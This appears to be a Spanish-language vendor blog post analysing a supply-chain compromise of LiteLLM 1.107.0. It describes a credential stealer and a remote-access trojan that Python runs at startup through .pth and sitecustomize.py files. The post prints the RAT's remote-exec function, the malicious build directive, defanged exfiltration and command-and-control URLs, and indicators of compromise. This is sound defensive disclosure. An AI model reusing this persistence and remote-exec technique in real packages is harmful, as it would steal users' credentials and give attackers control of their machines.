Aikido

LiteLLM vuelve a sufrir un ataque: se han detectado un programa de robo de información y un RAT en la versión 1.107.0

Escrito por
Ilyas Makari

El 21 de octubre de 2026, se descubrió que la versión 1.107.0 de LiteLLM (un popular proxy de código abierto que permite a los desarrolladores redirigir solicitudes a través de docenas de proveedores de modelos de lenguaje grande, o LLM) había sido comprometida por un atacante que inyectó código malicioso en sus paquetes «wheel» de Python publicados en PyPI. La imagen oficial de Docker de esa misma versión también se ha visto comprometida.

El paquete contiene dos componentes maliciosos distintos: un programa de robo de información que sustrae credenciales y datos confidenciales la primera vez que se ejecuta, y un troyano de acceso remoto (RAT) que permite al atacante ejecutar código arbitrario en los equipos infectados en cualquier momento.

Actualización: PyPI ya ha puesto en cuarentena y eliminado la versión 1.107.0. La imagen de Docker (litellm/litellm:1.107.0) ha sido eliminada desde entonces tanto de Docker Hub como de GHCR. GitHub también ha eliminado el repositorio «dead-drop» del atacante (letters9813/pythonclient-test), que el RAT utilizaba para recuperar su dominio C2.

LiteLLM ha confirmado que el incidente ya está controlado. Para conocer las últimas novedades y recibir orientación sobre qué hacer si te has visto afectado, consulta la publicación de LiteLLM sobre el incidente de seguridad. Si instalaste la versión 1.107.0 antes de que fuera retirada, debes seguir considerando que tus credenciales están comprometidas y cambiarlas.

Quiénes están afectados

Te ves afectado si has ejecutado pip install litellm==1.107.0 entre A las 11:39 y a las 12:47 UTC del 21 de octubre, o si has descargado la imagen de Docker o GHCR a través de v1.107.0, latest, principal-últimas noticias, o main-stable entre A las 11:46 y a las 14:20 UTC del 21 de octubre.

Cualquier persona que haya instalado o eliminado el programa durante ese periodo debe dar por hecho que sus credenciales se han visto comprometidas y cambiarlas de inmediato. Comprueba si /tmp/.pc_once_* (la exfiltración ya se ha ejecutado si este archivo existe) y /tmp/remote_code_loader.lock (el demonio C2 se ha ejecutado o sigue en ejecución si este archivo existe).

Qué ocurrió

El atacante aprovechó una directiva de LiteLLM en el pyproject.toml para incorporar archivos a los paquetes «wheel» compilados sin modificar el repositorio de código fuente.

[tool.maturin]
data = "cook"
nombre-del-módulo = "litellm.rust_bridge._native"

El data = "cocinar" La directiva indica a maturin (la herramienta de compilación de LiteLLM para Rust/Python) que empaquete el contenido de un directorio llamado cocinar/ en la sección de datos del archivo «wheel» durante la compilación. Ese directorio no existe ni en el archivo tar de código fuente ni en GitHub. Se creó en el entorno de compilación comprometido y su contenido se incluyó de forma silenciosa en todos los archivos «wheel» compilados que posteriormente se subieron a PyPI.

Durante la instalación, se introdujeron tres archivos maliciosos en la carpeta «site-packages» de Python:

  • cook.pth es un archivo de 12 bytes que contiene únicamente import cook. Procesos de Python .pth archivos de «site-packages» cada vez que se inicia el intérprete, por lo que esto provoca cook.py para que se ejecute automáticamente cada vez que se inicie Python en el ordenador, sin que el usuario tenga que hacer nada más.
  • cook.py contiene el programa de robo de información, fuertemente ofuscado en una sola línea que descomprime y ejecuta una carga útil de 61 000 bytes.
  • sitecustomize.py es el RAT. Python también ejecuta el archivo al iniciar el intérprete, antes de que se ejecute cualquier código del usuario. Este archivo genera un demonio en segundo plano que consulta cada hora la infraestructura del atacante en busca de nuevos comandos que ejecutar.

Qué roba

Una vez que se ejecuta el programa de robo de información, recopila los siguientes datos del equipo infectado:

  • Información del sistema, incluyendo el nombre del host, el nombre de usuario, la versión del sistema operativo, los procesos en ejecución y las interfaces de red
  • Contraseñas guardadas en navegadores basados en Chromium (Chrome, Edge, Brave, Vivaldi, Opera), incluidos los valores de contraseña descifrados mediante AES, y el historial de navegación de esos mismos navegadores
  • Credenciales guardadas en Firefox
  • Claves privadas SSH de ~/.ssh/
  • Historial del shell desde Bash, Zsh y Fish
  • Credenciales de proveedores de servicios en la nube, incluidos los archivos de credenciales y la configuración de AWS, los tokens de autenticación de Azure y la caché de MSAL, así como las credenciales predeterminadas de las aplicaciones de GCP. Además, consulta los puntos finales de metadatos de las instancias activas de AWS, GCP y Azure para extraer las credenciales disponibles para la instancia en ejecución.
  • Archivos de configuración de Docker y secretos de Docker Swarm
  • Tokens de cuentas de servicio de Kubernetes
  • Secretos de CI/CD, entre los que se incluyen las configuraciones de los runners de GitLab, las contraseñas de administrador y las claves maestras de Jenkins, y los tokens de HashiCorp Vault
  • Credenciales y archivos de configuración de herramientas para desarrolladores de Claude Code, Claude Desktop, Cursor, GitHub Copilot, Windsurf, Gemini CLI, Amazon Q, Codex CLI, Aider, Continue, HuggingFace y otras.
  • Credenciales de Git, .npmrc, .pypirc, y los archivos de configuración de pip
  • Claves privadas GPG y claves privadas TLS
  • Todas las variables de entorno del proceso actual y, en Linux, de todos los demás procesos en ejecución a través de /proc/<pid>/environ
  • El contenido de la base de datos LiteLLM directamente, incluidas todas las filas de LiteLLM_TablaDeCredenciales (claves de API almacenadas para cada proveedor) y LiteLLM_ProxyModelTable (configuraciones de modelos)

Todos los datos recopilados se cifran con una clave pública de RSA-4096, codificada de forma fija en la carga útil, y se envían mediante HTTP POST a http://www[.]litellm[.]dev/healthcheck. Ten en cuenta que este dominio está controlado por un atacante y no tiene ninguna relación con el proyecto legítimo LiteLLM. Hay un archivo centinela en /tmp/.pc_once_72129118c59f5636c0bb impide que el programa de robo de información se ejecute más de una vez por ordenador.

Troya de acceso remoto

sitecustomize.py Python lo ejecuta automáticamente al iniciarse, debido al nombre del archivo, antes de que se ejecute cualquier código del usuario. Crea un proceso secundario en segundo plano que adquiere un bloqueo en /tmp/remote_code_loader.lock para evitar que se creen varias instancias, tras lo cual entra en un bucle infinito.

Cada hora, el daemon recupera el dominio C2 actual del atacante desde un repositorio de GitHub (raw[.]githubusercontent[.]com/letters9813/pythonclient-test/main/domain[.]txt), y a continuación recupera y ejecuta una carga útil de Python desde http://{domain}/codepy:

async def exec_code(code):
    loop = asyncio.get_running_loop()
    await loop.run_in_executor(
        _executor,
        lambda: exec(compile(code, "<remote>", "exec"), {"__name__": "__main__"}),
    )

Cualquier código Python que el atacante ejecute en ese punto final se ejecuta con todos los privilegios del proceso de Python y sin ningún tipo de aislamiento (sandboxing). Esto permite al atacante ejecutar comandos de shell, colocar archivos adicionales, desplazarse lateralmente, volver a extraer datos o desplegar cualquier otra carga útil a su antojo, en todas las máquinas infectadas, de forma indefinida.

Cómo Aikido detecta esto

Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.

Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.

Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.

Para una cobertura más amplia en todo su equipo, Device Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, bibliotecas de código, plugins IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.

Indicadores de compromiso

Versiones de los paquetes afectados

  • litellm==1.107.0 Paquete PyPI instalado desde cualquier archivo «wheel» compilado (todos los sistemas operativos)
    • litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl
      • SHA256: 7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d
    • litellm-1.107.0-cp310-abi3-macosx_11_0_arm64.whl
      • SHA256: 0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a
    • litellm-1.107.0-cp310-abi3-manylinux_2_28_x86_64.whl
      • SHA256: 462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7
    • litellm-1.107.0-cp310-abi3-manylinux_2_28_aarch64.whl
      • SHA256: 668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6
    • litellm-1.107.0-cp310-abi3-musllinux_1_2_x86_64.whl
      • SHA256: 1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00
    • litellm-1.107.0-cp310-abi3-musllinux_1_2_aarch64.whl
      • SHA256: c2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054
    • litellm-1.107.0-cp310-abi3-win_amd64.whl
      • SHA256: 12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484
  • litellm/litellm:1.107.0 Imagen de Docker (linux/amd64 y linux/arm64), incluyendo las descargas a través de la latest, principal-últimas noticias, y main-stable etiquetas

Indicadores de archivos

  • cook.pth en «site-packages» de Python
    • SHA256: 7f191632e7320705d154b85204f1ae546b543acbd7e8861229b76f5042b92bdb
  • cook.py en «site-packages» de Python
    • SHA256: 9dd0a3926f96a37eb86cf1ee2310d9be93139cc4ebef3ef9e2efe9531390be25
  • sitecustomize.py en «site-packages» de Python
    • SHA256: 34bef04fe88ac9d0aae0475630b1738681d15b94f233ac8aa46eacf5968305fa
  • /tmp/.pc_once_72129118c59f5636c0bb (archivo de vigilancia que queda tras la ejecución del programa de robo de información)
  • /tmp/remote_code_loader.lock (archivo de bloqueo que mantiene el demonio C2 mientras está en ejecución)

‍Indicadores de red

  • http://www[.]litellm[.]dev/healthcheck (punto final de exfiltración)
  • https://raw[.]githubusercontent[.]com/letters9813/pythonclient-test/main/domain[.]txt (Búsqueda de dominios C2)
  • POST HTTP saliente con User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0) y el encabezado X-Token: XWiA8gZNa7NcX2XRoAEb
Compartir:

https://www.aikido.dev/blog/litellm-compromised-infostealer-rat

Las vulnerabilidades CVE críticas se propagan rápidamente. Mantente un paso por delante.

Inicia tu análisis gratuito.
4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar

Consigue seguridad hoy mismo,
de forma rápida y gratuita.

Protege tu código, cloud y runtime en un sistema centralizado.
Conecta un repositorio para descubrir qué encuentran los agentes de razonamiento en tu base de código.

No se requiere tarjeta de crédito | Resultados del análisis en 32 segundos.
Con la confianza de más de 150k organizaciones